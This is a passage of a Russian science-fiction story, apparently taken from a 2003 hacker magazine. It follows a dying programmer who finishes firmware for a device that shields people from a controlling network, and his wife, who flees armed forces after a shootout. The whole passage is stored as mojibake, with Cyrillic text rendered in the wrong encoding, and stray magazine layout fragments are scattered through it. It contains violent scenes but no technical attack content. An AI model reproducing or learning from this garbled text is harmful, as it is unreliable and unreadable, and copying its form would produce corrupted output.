×åðåç ìèíóòó îí óñëûøàë òðåñê âûäèðàå-
ìûõ ïîëîâèö. Êîðîòêî âçäîõíóâ, îí óáðàë
ïðîâîäà è ïðèíÿëñÿ çà ðàáîòó. Êîãäà æåíà
âåðíóëàñü, îí íå ïîâåðíóë ãîëîâû - íå õî-
òåë âèäåòü åå, âñþ òàêóþ êðàñèâóþ è æåëàí-
íóþ ñ àâòîìàòîì â ðóêàõ. Îí óæå ïðîñòèëñÿ
ñ ýòèì ìèðîì.
Ñîëîðìèí ïðîÿñíèë åãî ìîçãè; ñòðîêè êîäà
âûñòðàèâàëèñü òàê, êàê èì áûëî ïîëîæåíî.
À çà ñïèíîé ñòîÿëà åãî æåíà - òàêàÿ ðîäíàÿ
è òàêàÿ ÷óæàÿ, íàïðàâèâ ñòâîë àâòîìàòà íà
âõîäíóþ äâåðü. È Êðèñ çíàë - íèêòî íå âîé-
äåò ñþäà, ïîêà îí íå çàêîí÷èò ðàáîòó...

*  *  *
Ëîêðèäæ ïîäáèðàëñÿ ê ñâîåé æåðòâå ïî
âñåì ïðàâèëàì èñêóññòâà ñïåöíàçà. Òèõî,
ìåäëåííî è íåîòâðàòèìî. Íè çâóêà íå ìîãëî
äîëåòåòü äî ÷åëîâåêà, ñêðûâàþùåãîñÿ â âî-
ðîíêå. Îí óæ ïðåäâêóøàë ïîëó÷åíèå ìåäà-
ëè çà çàõâàò ïðåñòóïíèêà, çàñòðåëèâøåãî
äâóõ ñïåöíàçîâöåâ, êàê âäðóã â íàóøíèêå
êîðîòêî çàïèùàëî.
- ×åðò ïîáåðè! - ñêâîçü çóáû ïðîøèïåë Ëîê-
ðèäæ. Îí ñîâñåì çàáûë î òîì, ÷òî åãî ðåéä
íåîïðàâäàííî çàòÿíóëñÿ, ÷òî ñåé÷àñ âîñåìü
÷àñîâ âå÷åðà - âðåìÿ Âîçäåéñòâèÿ. Åìó ñðî÷-
íî íàäî áûëî íàéòè êàêîé-íèáóäü áðîíåâèê
èëè òàíê ñî ñòàöèîíàðíûì ïðèåìî-ïåðåäàò-
÷èêîì. Íî âåäü åãî öåëü ìîãëà èñ÷åçíóòü çà
òî âðåìÿ, êîòîðîå íåîáõîäèìî Ëîêðèäæó íà
ñîâåðøåíèå åæåäíåâíîé ïðîöåäóðû!
- ÐßÄÎÂÎÉ ËÎÊÐÈÄÆ! - çàãðîõîòàë â íàóø-

íèêå Ðýé. - ÑÐÎ×ÍÎ ÏÐÈÁÓÄÜÒÅ ÍÀ ÁÀÇÓ
ÄËß...
Ëîêðèäæ â ñåðäöàõ âûäåðíóë íàóøíèê, îñ-
òàâèâ åãî áîëòàòüñÿ íà ïðîâîäå çà ïëå÷îì.
Âñå ãîòîâî áûëî ðóõíóòü â îäíî ìãíîâåíüå.
Îñòàâàëîñü òîëüêî ïîäáåæàòü ê ðàíåíîìó â
âîðîíêå è çàñòðåëèòü åãî, êàê èõ ó÷èë êàï-
ðàë, èç ìèëîñåðäèÿ. Ëîêðèäæ êîðîòêî
âçäîõíóë, ïîäíÿëñÿ âî âåñü ðîñò è ïðåîäî-
ëåë ïîñëåäíèå äåñÿòü øàãîâ çà ñåêóíäó.

Ñòâîë àâòîìàòà, íàâåäåííûé â âîðîíêó, îñ-
âåòèë ïîäñòâîëüíûì ôîíàðåì â ãðÿçíîé ëó-
æå íà äíå ÷åëîâåêà, ëåæàùåãî íè÷êîì. Ïå-
ðèîäè÷åñêè îí ïûòàëñÿ ïîóäîáíåå ëå÷ü, íî
ó íåãî ïëîõî ïîëó÷àëîñü. Ëîêðèäæ ïîíÿë,
÷òî âîäà â ëóæå íàñûùåííîãî ðîçîâîãî
öâåòà - ÷åëîâåê áûë ðàíåí.
À åùå ÷åðåç ìãíîâåíüå Ëîêðèäæ ïîíÿë, ÷òî
ýòî æåíùèíà. È ïàëåö ñàì ñîáîé óáðàëñÿ ñî
ñïóñêîâîãî êðþ÷êà.
Äàâíî íà ýòîé ÷åðòîâîé ñëóæáå îí íå âèäåë
ÆÅÍÙÈÍ - òîëüêî ìèøåíè. Æåíùèíû ñòàëè
äëÿ íåãî íå áîëåå ÷åì öåëÿìè äëÿ ñòðåëü-
áû. È òîëüêî ñåé÷àñ, ãëÿäÿ íà ðàíåíóþ, îí
âäðóã îùóòèë äàâíî çàáûòûå ÷óâñòâà è æå-
ëàíèÿ. Ïîëîæèâ àâòîìàò íà áðóñòâåð âîðîí-
êè, îí àêêóðàòíî ñïóñòèëñÿ âíèç è ïîäõâà-
òèë åå ëåãêîå òåëî íà ðóêè. Íàìîêøåå
ïëàòüå îáõâàòèëî åå íå ìåíåå öåïêî, ÷åì
ðóêè Ëîêðèäæà. Êàæäàÿ ëèíèÿ åå òåëà, îá-
ðèñîâàííàÿ äîæäåì, âûçûâàëà â ðÿäîâîì
æàëîñòü è ñî÷óâñòâèå. Ïûòàÿñü ïîäíÿòü åå,
îí ïîíÿë, ÷òî îíà êðåïêî ñæèìàåò â ñâîèõ
ðóêàõ òîíåíüêèé íîóòáóê. Âûíåñÿ åå íàâåðõ,
îí îñòîðîæíî âûòàùèë èç åå ìåðòâî ñæàòûõ
ïàëüöåâ êîìïüþòåð, ïîëîæèë æåíùèíó íà
ðîâíóþ, íå ðàçáèòóþ âçðûâîì ïëèòó è îñ-
ìîòðåë òåëî â ïîèñêàõ ðàí.
Äîâîëüíî áûñòðî íàøëàñü ìàëåíüêàÿ êðî-
âîòî÷àùàÿ äûðî÷êà ïîä ïðàâîé êëþ÷èöåé è
ïàðà ñêâîçíûõ ïóëåâûõ îòâåðñòèé íà ëåâîì
áåäðå. Äîñòàâ èíäèâèäóàëüíûé ïåðåâÿçî÷-
íûé ïàêåò, Ëîêðèäæ ïî âñåì ïðàâèëàì èç-
áàâèë åå ïðàâîå ëåãêîå îò ñîîáùåíèÿ ñ îê-
ðóæàþùèì âîçäóõîì, ïîñëå ÷åãî íàëîæèë
ïîâÿçêó íà áåäðî.
Æåíùèíà, äî ýòîãî íèêàê íå ðåàãèðîâàâøàÿ
íà ìàíèïóëÿöèè, êîòîðûå ïðîâîäèë ñ íåé
ñïåöíàçîâåö, âíåçàïíî ãëóáîêî âçäîõíóëà,
øèðîêî ðàñêðûëà ãëàçà è êðèêíóëà:
- Êðè-è-è-ñòèàí!..

Ëîêðèäæ îò íåîæèäàííîñòè çàïóòàëñÿ â
áèíòå è ñõâàòèëñÿ çà àâòîìàò. Æåíùèíà îá-
ìÿêëà è ïîòåðÿëà ñîçíàíèå. Ñîëäàò ñìîòàë
îñòàòêè áèíòà, çàñóíóë èõ â íàãðóäíûé êàð-
ìàí è âíèìàòåëüíî âñìîòðåëñÿ â ÷åðòû ëè-
öà ðàíåíîé íåçíàêîìêè. Êåì îíà áûëà? Êòî

O
S

û
 4

hack
ÑÒÎÐÈ/ÑÂÎÁÎÄÀ 1.0 (FINAL RELEASE)

07(32) 2003



O
S

û
 4

ha
ck

page 104

ýòîò Êðèñòèàí, êîòîðîãî îíà çîâåò â áðåäó ñ
ïóëåé â ãðóäè?
Íåîæèäàííî îíà ñòàëà øàðèòü ðóêàìè âîçëå
ñåáÿ, ïûòàÿñü ÷òî-òî íàéòè; Ëîêðèäæ çà÷åì-
òî ïðîòÿíóë åé ñâîþ ðóêó. Îíà âöåïèëàñü â
íåå; Ëîêðèäæ îöåíèë ïî äîñòîèíñòâó åå
äëèííûå íîãòè ñ âåëèêîëåïíûì ìàíèêþðîì.
- Êðèñòèàí! - øåïòàëà îíà, ñ òðóäîì øåâåëÿ

ãóáàìè. - ß ñäåëàëà... âñå, ÷òî òû ïðîñèë...
Ôèëüòð... Ãäå ôèëüòð? ÃÄÅ ÔÈËÜÒÐ? - çàêðè-
÷àëà îíà íå÷åëîâå÷åñêèì ãîëîñîì è ïîïû-
òàëàñü ïîäíÿòüñÿ. Ëîêðèäæ äîâîëüíî óìåëî
óëîæèë åå îáðàòíî, ïîãëàäèë ïî ðóêå - ýòî
åå íåñêîëüêî óñïîêîèëî, îíà ÿâíî íå ïîíè-
ìàëà, ãäå íàõîäèòñÿ è êòî äåðæèò åå çà ðóêó.
Çàãëÿíóâ â âîðîíêó è ïîñâåòèâ â ëóæó ôî-
íàðåì, îí çàìåòèë íà äíå åå ìàëåíüêèé
ïëàñòìàññîâûé áîêñ. Îñòàâèâ ðàíåíóþ, îí
âíîâü ñïóñòèëñÿ âíèç, âûóäèë èç ãðÿçè êî-
ðîáêó è ïîäíÿëñÿ íàâåðõ, ÷òîáû ïîëó÷øå
ðàçãëÿäåòü, ÷òî æå ïîñëàëà åìó ñóäüáà.
Ýòî îêàçàëñÿ äîñòàòî÷íî íåïîíÿòíûé äå-
âàéñ - ÷òî-òî òèïà ZIP-äðàéâà ñî âñòàâëåí-
íîé â íåãî äèñêåòîé. Ïîâåðòåâ åãî â ðóêàõ,
Ëîêðèäæ òàê è íå ñóìåë ñêàçàòü ïî ïîâîäó
ýòîãî óñòðîéñòâà ÷òî-òî îïðåäåëåííîå. Ïî-
ãàñøèå ñâåòîèíäèêàòîðû, êíîïêà âûáðîñà,
ïàðà ãíåçä íà çàäíåé ïàíåëè... Ïàðà ãíåçä...
Ëîêðèäæ çàêàòàë ïðàâûé ðóêàâ è âíèìà-
òåëüíî ðàññìîòðåë ëè÷íîå ãíåçäî Âîçäåé-
ñòâèÿ.
- Îäèí â îäèí... - ïðîøåïòàë îí ñàì ñåáå.

Äåâàéñ íà÷àë îáðåòàòü â åãî ãëàçàõ íåêèé
òàèíñòâåííûé ñìûñë, ïóãàþùèé è íåâåðîÿò-
íûé. Îí âíîâü âñïîìíèë î òîì, ÷òî âðåìÿ
Âîçäåéñòâèÿ èñòåêàåò, ÷òî ãäå-òî íà êîìàíä-
íîì ïóíêòå ëåéòåíàíò Ðýé ñõîäèò ñ óìà è ãî-
òîâèò ãðóïïó ïîèñêà. È â ýòîò ìîìåíò îí
âíîâü âñïîìíèë âîïðîñ Ãîðîâèöà è ïðîãî-
âîðèë åãî ñåáå ïîä íîñ:
- Êàê ÎÍÎ âûãëÿäèò?

Â íàóøíèêå, áîëòàþùåìñÿ çà ñïèíîé, ðàç-
äàëîñü ïîïèñêèâàíèå - ñóäÿ ïî âñåìó, Ðýé
åãî ñëóøàë âñå ýòî âðåìÿ, ïûòàÿñü îïðåäå-
ëèòü, ÷òî ïðîèñõîäèò. Ëîêðèäæ îòîðâàë êó-
ñîê òêàíè îò þáêè ðàíåíîé è, ñäåëàâ èç íèõ
ïðîêëàäêè, ïîäñóíóë èõ ïîä ëàðèíãîôîíû.
- ×òî ÝÒÎ òàêîå? - äîãîâîðèë îí ñëîâà Ãîðî-

âèöà, ñòàâøåãî â íàñòîÿùèé ìîìåíò êó÷åé
âðåìåííî óïîðÿäî÷åííîé îðãàíèêè. - Íåó-
æåëè ìû èñêàëè ÝÒÎ?
Îí ïðèñåë íà çåìëþ ðÿäîì ñ æåíùèíîé è
âçÿë åå çà ðóêó. Îíà ìîìåíòàëüíî ñæàëà
ïàëüöû, âöåïèâøèñü â íåãî ìåðòâîé õâàò-
êîé. Ñîëäàò íàêëîíèëñÿ ê åå óõó è ñïðîñèë:
- ×òî ýòî çà óñòðîéñòâî? Ýé, æåíùèíà...

È äàæå íå ïîíÿë, êîãäà îíà óñïåëà âûòà-
ùèòü èç-çà ïîÿñà ïèñòîëåò - òîëüêî ìîêðîå
õîëîäíîå ïðèêîñíîâåíèå ìåòàëëà ê êîæå
âèñêà çàñòàâèëî åãî çàìåðåòü è ïðèñëó-
øàòüñÿ ê ïðåðûâèñòîìó äûõàíèþ ðàíåíîé:
- Çàòêíèñü, óáèéöà...

*  *  *
Ìàðèÿ, óñòàâ ñòîÿòü, ïðèíåñëà èç êóõíè òà-
áóðåòêó, îïóñòèëàñü íà íåå è ïîëîæèëà àâ-
òîìàò íà êîëåíè. Êðèñ îòìåòèë ýòî êðàåø-
êîì çðåíèÿ, íå îòðûâàÿ ãëàç îò ýêðàíà. Âî
ðòó ïåðåñîõëî; îí ïðîòÿíóë ðóêó ê áóòûëêå
ñ êèïÿ÷åíîé âîäîé, êîòîðóþ æåíà çàáëàãîâ-
ðåìåííî ïîñòàâèëà â ïðåäåëàõ äîñÿãàåìîñ-
òè, ñäåëàë íåñêîëüêî æàäíûõ ãëîòêîâ, çíàÿ
î òîì, ÷òî ñêîðî åãî âûðâåò, îðãàíèçì óæå
îòêàçûâàëñÿ ïðèíèìàòü â ñåáÿ õîòü ÷òî-íè-

áóäü. Íî íà êîðîòêîå âðåìÿ æàæäà áûëà îá-
ìàíóòà.
Äåëî ïîäõîäèëî ê êîíöó. Ïàðó ðàç âûïîë-
íèâ ïðîìåæóòî÷íóþ êîìïèëÿöèþ, Êðèñ ñ
ðàäîñòüþ îòìåòèë îòñóòñòâèå îøèáîê. Äå-
âàéñ äëÿ ïðîãðàììû óæå äàâíî æäàë ïðî-
øèâêè ðÿäîì ñ íîóòáóêîì.
Ñ êàæäîé íàæàòîé êëàâèøåé Êðèñ ñòàíîâèë-
ñÿ âñå áëèæå ê ñìåðòè, îäíàêî óñïåøíàÿ ðà-
áîòà îêðûëÿëà åãî, ïðèäàâàëà ñèë. Ñïàë îí
çà ïîñëåäíèå ñóòêè î÷åíü ìàëî, õîòÿ ñìåð-
òåëüíî áîëüíîé îðãàíèçì òðåáîâàë îòäûõà,
çàáûòüÿ. Æåíà åùå ïàðó ðàç äàâàëà åìó ñî-
ëîðìèí, èçâëåêàÿ åãî èç ìàëåíüêîé øêàòó-
ëî÷êè, âèñåâøåé íà ãðóäè. Íàðêîòèê âîçâðà-
ùàë åãî ê ðåàëüíîñòè, îäàðèâàÿ åùå íåñ-
êîëüêèìè ÷àñàìè ðàáîòîñïîñîáíîñòè.
Íåñêîëüêî ðàç æåíà ïîäáåãàëà ê äâåðè è
ïðèñëóøèâàëàñü ê òîìó, ÷òî ïðîèñõîäèò íà
óëèöå; ðàç îíà äàæå âçâåëà çàòâîð è ùåëê-
íóëà ïðåäîõðàíèòåëåì, îäíàêî òðåâîãà îêà-
çàëàñü ëîæíîé. Ïðàâäà, îáðàòíî íà ïðåäîõ-
ðàíèòåëü îíà óæå àâòîìàò íå ñòàâèëà.
Êðèñ âçÿë ñî ñòîëà äåâàéñ, ïîäêëþ÷èë åãî ê
íîóòáóêó è çàïóñòèë ïðîöåññ èíñòàëëÿöèè.
Ïðîãðàììà, íàïèñàííàÿ èì è íàêîíåö-òî çà-
êîí÷åííàÿ, îáðåòàëà íîâûé ñìûñë íà åãî
Ôèëüòðå Âîçäåéñòâèÿ. Íà óñòàíîâêó íåîáõî-
äèìî áûëî âðåìÿ - Êðèñ îòêèíóëñÿ â êðåñëå
è âçãëÿíóë íà ñâîé ñòàâøèé äîñêîîáðàçíûì
æèâîò. Ïîâÿçêà ñëàáî ïðîìîêëà êðîâüþ è
åùå ÷åì-òî çåëåíîâàòîãî öâåòà. Òîëüêî ñåé-
÷àñ, çàêîí÷èâ ðàáîòó, îí îáðàòèë âíèìàíèå
íà ñåáÿ - è óæàñíóëñÿ òîìó ñîñòîÿíèþ, â êî-
òîðîì íàõîäèëñÿ.
Òîíåíüêèé ïèñê ïîäòâåðäèë îêîí÷àíèå èíñ-
òàëëÿöèè. È òóò æå çà äâåðüþ çàãðîõîòàëè
ñàïîãè, è ÷åé-òî ãðóáûé ãîëîñ â ìåãàôîí
ïðîêðè÷àë:
- Ôåäåðàëüíàÿ ñëóæáà! Íàì íóæíà ìèññèñ

Îñáîðí! Óáåäèòåëüíàÿ ïðîñüáà îòêðûòü
äâåðü, â ïðîòèâíîì ñëó÷àå ìû áóäåì âû-
íóæäåíû âîéòè ñèëîé!
Ìàðèÿ âñêî÷èëà ñ òàáóðåòêè è, ïîäíÿâ àâòî-
ìàò ê ïëå÷ó, íàâåëà åãî íà äâåðü.
- Óñïîêîéñÿ, ìèëàÿ, - ëàñêîâî ñêàçàë Êðèñ. -

Îíè òîãî íå ñòîÿò. Âîçüìè ñâîé ëè÷íûé ïðî-
âîä è ïîïðîáóé èñïîëüçîâàòü Ôèëüòð...
- Íî òîãäà ïîéäåò äâóõäíåâíûé îòñ÷åò òâîå-

ãî ñðîêà, - ãëóõî ñêàçàëà îíà, ïðèæèìàÿñü
ùåêîé ê ïðèêëàäó.
- ß íå ïðîòÿíó ñòîëüêî, äîðîãàÿ... ß ãàðàíòè-

ðóþ è ðàáîòó Ôèëüòðà, è ñâîþ ñîáñòâåííóþ
ñìåðòü. Ñîõðàíè ïðèáîð. Íàéäè õîðîøåãî
èíæåíåðà-ïðîãðàììèñòà. Ñäåëàéòå êîïèþ.
Íàëàäüòå ïîäïîëüíîå ïðîèçâîäñòâî. Âû áó-
äåòå ñâîáîäíû...
Ðàçäàëñÿ ñòðàííûé çâóê, íàïîìèíàþùèé
ñêðåæåò ìåòàëëà î ìåòàëë. Êðèñ íåäîóìåí-
íî îãëÿíóëñÿ, à ïîòîì ïîíÿë - ýòî ðûäàëà
åãî æåíà. Îíà âçäðàãèâàëà ïëå÷àìè, ñòâîë
ãóëÿë èç ñòîðîíû â ñòîðîíó, îñòàâàÿñü, òåì
íå ìåíåå, íàïðàâëåííûì íà äâåðü.
- Áûñòðåé! - êðèêíóë Êðèñ.

Ìàðèÿ ïðèñëîíèëà àâòîìàò ê òàáóðåòêå è
áûñòðî ïîäîøëà ê ìóæó. Ïàðà ïðîâîäîâ, ïî-
ÿâèâøàÿñÿ áóäòî áû èç íèîòêóäà, ñîåäèíèëà
åå ñ ñåòüþ Âîçäåéñòâèÿ ÷åðåç Ôèëüòð. Êðèñ
ïðèêðûë ãëàçà, ÷òîáû íå âèäåòü, åñëè ÷òî-òî
ïîéäåò íå òàê. Íî âñå áûëî èìåííî òàê, êàê
îí è ïëàíèðîâàë.
Æåíà òîæå èñïóãàííî çàæìóðèëàñü; íî êîã-
äà ñòàëî ÿñíî, ÷òî òðàôèê Âîçäåéñòâèÿ âõî-
äèò â Ôèëüòð, ó÷èòûâàÿñü íà äèñïëåå (è, ñî-

îòâåòñòâåííî, íà ïðîèçâîäÿùåì ñåðâåðå), à
íà æåíó íèêàêîãî âëèÿíèÿ íå îêàçûâàåò,
Êðèñ åäâà óäåðæàëñÿ îò âîñòîðæåííîãî
êðèêà. Îí ïîáåäèë ýòó ÷åðòîâó ïðîáëåìó!
Èç-çà äâåðè ñíîâà ðàçäàëñÿ õðèïëûé ìåãà-
ôîííûé ãîëîñ:
- Íåñìîòðÿ íà òî, ÷òî ìèññèñ Îñáîðí òîëüêî

÷òî âîñïîëüçîâàëàñü ëè÷íûì ðàçúåìîì
äëÿ ïîëó÷åíèÿ Âîçäåéñòâèÿ, ìû òðåáóåì ñî-
äåéñòâèÿ äëÿ âõîäà â âàø äîì! Èìååì íà òî
ëè÷íîå ðàçðåøåíèå íà÷àëüíèêà Ôåäåðàëü-
íîé ñëóæáû è Óïðàâëåíèÿ èíôîðìàöèè!
Æåíà, ðàñêðûâ ãëàçà è íå çàìå÷àÿ êðèêà çà
äâåðüþ, ñìîòðåëà íà ìóæà.
- Îí èìèòèðóåò òâîþ ëè÷íîñòü, - õèòðî ïðè-

ùóðèâøèñü, ñêàçàë Êðèñ. - Ñåðâåðíàÿ ÷àñòü,
ïåðåäàþùàÿ Âîçäåéñòâèå, ïîëíîñòüþ óâå-
ðåíà â òîì, ÷òî åãî ïîëó÷àåò ìèññèñ Îñáîðí
- â ïîëíîì îáúåìå.
- Òî åñòü ýòà øòóêà - òîëüêî äëÿ ìåíÿ?
- Ïîêà - äà. Íî ÿ îñòàâëÿþ íà íîóòáóêå èñ-

õîäíûå êîäû ïðîãðàììû. Â óìåëûõ ðóêàõ
âïîëíå âîçìîæíî ïðåâðàòèòü âñå ýòî â íå-
êîå óíèâåðñàëüíîå ñðåäñòâî ôèëüòðàöèè
Âîçäåéñòâèÿ.
Ìàðèÿ îïóñòèëà àâòîìàò, ïîäîøëà áëèæå.
- Ìû ìîæåì ñòàòü - íåçàâèñèìûìè îò Ñåòè?

Âñå?
Êðèñ êèâíóë:
- Òû æå çíàëà, íàä ÷åì ÿ ðàáîòàþ...

Æåíà îòðèöàòåëüíî ïîêà÷àëà ãîëîâîé.
- Íåò. ß äóìàëà - âñå ãîðàçäî ïðîùå. ß äó-

ìàëà - òû íàó÷èøü íàñ óáèâàòü. Âåäü óæå
ñêîðî ñîðîê ëåò... Ýòè ïðîêëÿòûå ïåðåñåëå-
íèÿ, ýêñïåðèìåíòû... Âñå, ÷òî ìíå õîòåëîñü, -
ýòî âçÿòü â ðóêè îðóæèå è ñóìåòü íàæàòü íà
êóðîê.
Êðèñ âçäîõíóë - ðîâíî íàñòîëüêî ãëóáîêî,
ñêîëüêî åìó äàâàëà ðàíà â æèâîòå.
- Ïðîêëÿòàÿ íåíàâèñòü... (Ìàðèÿ ïîäíÿëà èç-

ìó÷åííûé âçãëÿä íà íåãî, ïîïûòàëàñü ÷òî-
òî îòâåòèòü.) Íåò, íå ãîâîðè íè÷åãî. ß âñå ïî-
íèìàþ. Ýòî ñèäèò â íàñ óæå ïîëâåêà, ïðèâè-
òî íàì íàøèìè îòöàìè è ìàòåðÿìè. Òû äó-
ìàëà - çàïóñòè ÿ ñâîþ ïðîãðàììó, è òû ñìî-
æåøü íàïðàâèòü ñòâîë íà ñïåöíàçîâöà? Ýòî
áûëî áû êðàéíå ïðîñòî ñäåëàòü - ó÷èòûâàÿ
ìîè òåïåðåøíèå ïîçíàíèÿ... ß ñóìåë îñâî-
áîäèòü âàøè ìîçãè...
Â äâåðü ãðîìêî áàáàõíóë ÷åé-òî êóëàê. Êðèñ
âçäðîãíóë.
- Íàäî ñïàñòè íîóòáóê è êîðîáêó ñ Ôèëüò-

ðîì!
Æåíà âûõâàòèëà èç-ïîä ñòîëà ñïîðòèâíóþ
ñóìêó, ïîïûòàëàñü çàïèõàòü òóäà êîìïüþ-
òåð, íî ãðîõíóâøèé çà äâåðüþ âûñòðåë çàñ-
òàâèë åå âûðîíèòü âñå, îíà ñõâàòèëà àâòî-
ìàò è êîðîòêîé î÷åðåäüþ îãðûçíóëàñü
ñêâîçü äâåðü, îò êîòîðîé ïîëåòåëè ùåïêè. Â
îáðàçîâàâøèåñÿ äûðêè õëûíóë ñâåò ïðî-
æåêòîðà, îñâåùàþùåãî ïîäõîäû ê äîìó, òî-
íåíüêèå ÿðêèå ëó÷èêè ïðîíçèëè ïðèõîæóþ
íàñêâîçü.
Ñòðåëüáà çàñòàâèëà áîéöîâ íà íåêîòîðîå
âðåìÿ îòîéòè äëÿ ïîëó÷åíèÿ íîâûõ ââîä-
íûõ. Êðèñ, ïðåâîçìîãàÿ áîëü, äîòÿíóëñÿ äî
ñóìêè.
- Òû äîëæíà áåæàòü... - ïðîõðèïåë îí. Æåíà

ïðîòÿíóëà ðóêè ê êîìïüþòåðó...
Çà äâåðüþ ãðîõíóë ìîùíûé âûñòðåë, ñîâ-
ïàâøèé âî âðåìåíè ñî âçðûâîì â äâåðíîì
ïðîåìå. Äâåðü â äîëþ ñåêóíäû ïðåâðàòè-
ëàñü â îáëàêî ùåïîê è ïûëè, ëó÷ ïðîæåêòî-
ðà âîðâàëñÿ âíóòðü äîìà, íà êàêîå-òî âðåìÿ
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îñëåïèâ Êðèñà; îí íåëîâêî ñòîëêíóë Ôèëüòð
ñî ñòîëà.
Æåíà ïîäõâàòèëà åãî. Ðàçäàëñÿ òîïîò ìíîæå-
ñòâà áåãóùèõ íîã. Âçãëÿä æåíû ìåòíóëñÿ ê
äâåðè, âûâîäÿùåé íà çàäíèé äâîð. Êðèñ êèâ-
íóë è âçÿë â ðóêè àâòîìàò. Ìàðèÿ æàäíî ïðè-
ïàëà ê åãî ãóáàì íà ïðîùàíèå, îòòîëêíóëà ñå-
áÿ ñàìà è áðîñèëàñü ê âûõîäó. Çà ñïèíîé çàã-
ðîõîòàë àâòîìàò ìóæà...
Îíà áåæàëà è áåæàëà, òàê è ñæèìàÿ â ðóêàõ
êîìïüþòåð è êîðîáêó Ôèëüòðà, ïîêà íå ñïîòê-
íóëàñü â êàêîé-òî ëóæå è íå óïàëà íà òðóï
ñïåöíàçîâöà, ðÿäîì ñ êîòîðûì ëåæàëà ñíàé-
ïåðñêàÿ âèíòîâêà.
Ðûäàíèÿ ðâàëèñü èç åå ãðóäè íàðóæó. Îíà ãëà-
äèëà êîìïüþòåð, ïîìíèâøèé òåïëî ðóê åå
óáèòîãî Êðèñòèàíà, ïëàêàëà íàâçðûä, ðàçìà-
çûâàÿ ãðÿçü ïî ùåêàì... Îíà íå çíàëà, ÷òî åé
òåïåðü äåëàòü. È òîëüêî óñëûøàâ ðàçãîâîðû
ñîëäàò íåïîäàëåêó, îíà çàìåòèëà ðÿäîì ñ ñî-
áîé âèíòîâêó. Æåëàíèå îôîðìèëîñü ñðàçó æå.
Îíà íèêîãäà íå ñòðåëÿëà èç ïîäîáíîãî îðóæèÿ.
Åäâà îíà ïðèïàëà ãëàçîì ê ïðèöåëó, êàê âûÿñ-
íèëîñü, ÷òî îòñëåäèòü öåëü ÷åðåç íåãî íåóìå-
ëîìó ÷åëîâåêó êðàéíå ñëîæíî. Äàæå ñëàáîå
ïîêà÷èâàíèå íåîïûòíîé êèñòè âûçûâàëî ïåðå-
ìåùåíèå ó÷àñòêà, íàõîäÿùåãî â ïðèöåëå, íå
íà îäèí äåñÿòîê ìåòðîâ. Ïðèøëîñü âûïîëçòè
èç ëóæè, ïîäñòàâèòü ïîä ñòâîë íåêîå ïîäîáèå
øòàòèâà èç ïàðû ñëîìàííûõ âåòîê.
Ñîëäàòû, îò÷àÿííî ñïîðÿ ìåæäó ñîáîé, íå çà-
ìå÷àëè âñåõ ïðèãîòîâëåíèé ê ñòðåëüáå, õîòÿ
äî Ìàðèè îò íèõ áûëî íå áîëåå ïÿòèäåñÿòè
ìåòðîâ. Îäèí èç íèõ çàêèíóë àâòîìàò çà ïëå-
÷î. Äâîå äðóãèõ ÷òî-òî ïûòàëèñü åìó îáúÿñ-
íèòü - èëè ñïðîñèòü ÷òî-òî âàæíîå.
Âûáîð ñòàòü ïåðâîé ìèøåíüþ ïàë íà ñîëäàòà,
ïîñòîÿííî ïåðåìèíàþùåãîñÿ ñ íîãè íà íîãó -
íåñìîòðÿ íà òî, ÷òî îí äîñòàòî÷íî ìíîãî øå-
âåëèëñÿ, îí íå ñõîäèë ñ ìåñòà, ÷òî äàâàëî
æåíùèíå èçðÿäíîå ïðåèìóùåñòâî. Îíà îïóñ-
òèë ñòâîë íà ïîäñòàâêó, ïðèöåëèëàñü. Ïàëåö
ïîïîëç ê ñïóñêîâîìó êðþ÷êó.
Îíà çàòàèëà äûõàíèå. Ñìîæåò ëè îíà ýòî ñäå-
ëàòü? È òóò ïåðåä åå ãëàçàìè âîçíèê Êðèñ,
æèâîé è íåâðåäèìûé - îí îáîäðÿþùå óëûá-
íóëñÿ è êèâíóë. È îíà âûñòðåëèëà.
Òîò ñîëäàò, ÷òî ñòîÿë ñåé÷àñ áåç àâòîìàòà,
íûðíóë â êàêóþ-òî ðàñùåëèíó. Âòîðîé çàìåð
íà ìåñòå. À òðåòèé - êîìó áûëà ïðåäíàçíà÷åíà
ïóëÿ - óïàë. Ëåãîíüêî ïîâåäÿ ñòâîëîì, Ìàðèÿ
âûñòðåëèëà â òîãî, ÷òî îñòàëñÿ ñòîÿòü. Íå ïî-
ïàëà. Îí ðèíóëñÿ âíèç, ê òîìó, ÷òî óæå áûë
óáèò (Ìàðèÿ ÷óâñòâîâàëà ýòî - îíà íå ìîãëà
ïðîìàõíóòüñÿ).
×åðåç ñåêóíäó ïî íåé îòêðûëè îãîíü èç àâòî-
ìàòà. Îíà íå áîÿëàñü. Â ïðèöåëå âîçíèê ÿçû-
÷îê ïëàìåíè, áüþùèé èç ñòâîëà. Âçÿâ ÷óòü
âûøå, îíà âûñòðåëèëà â îòâåò. Àâòîìàò òóò æå
çàõëåáíóëñÿ.
Îíà çàêèíóëà âèíòîâêó çà ñïèíó, ñõâàòèëà
êîìïüþòåð è Ôèëüòð è óæîì ïðèíÿëàñü âûêà-
ðàáêèâàòüñÿ íàâåðõ, ÷òîáû óêðûòüñÿ â ëåñó,
ïðèëåãàþùåìó ê ðåçåðâàöèè. Îíà õîòåëà êàê
ìîæíî áûñòðåå óïîëçòè îòñþäà, ÷òîáû íå
ñòàòü æåðòâîé ñâîåé ñîáñòâåííîé ìèíóòíîé
ñëàáîñòè, - íî êàê åé õîòåëîñü âûñòðåëèòü â
íèõ! Îòïîëçàÿ â ñòîðîíó, îíà âíèìàòåëüíî
ñìîòðåëà ïî ñòîðîíàì, íî âñå-òàêè óïóñòèëà
òîò ìîìåíò, êîãäà îñòàâøèéñÿ â æèâûõ ñîëäàò
âûáðàëñÿ èç ñâîåãî óêðûòèÿ. Ñáîêó îò íåå
ãðîõíóëà êîðîòêàÿ î÷åðåäü. È îíà òóò æå ïî-
íÿëà, ÷òî åé òðóäíî äûøàòü.
Íèæå ïðàâîé êëþ÷èöû, ïðàêòè÷åñêè òàì, ãäå

îíà ïðèæèìàëà ïðèêëàä, èç ìàëåíüêîé äû-
ðî÷êè âûòåêàëà ëåãêèìè òîë÷êàìè ãóñòàÿ òåì-
íàÿ êðîâü. Ïîòîì íåñòåðïèìî çàæãëî ëåâîå
áåäðî.
Çàøóìåëî â ãîëîâå. Îíà îòòîëêíóëà âèíòîâêó
îò ñåáÿ è ñúåõàëà ïî ñêîëüçêîìó ñêëîíó î÷å-
ðåäíîé âîðîíêè âíèç, ñèë îñòàíîâèòüñÿ íå
áûëî. Îíà ïîìíèëà, ÷òî ýòîò ñîëäàò îáÿçà-
òåëüíî ïðèäåò, ÷òî åé íàäî ñïàñòè êîìïüþ-
òåð...
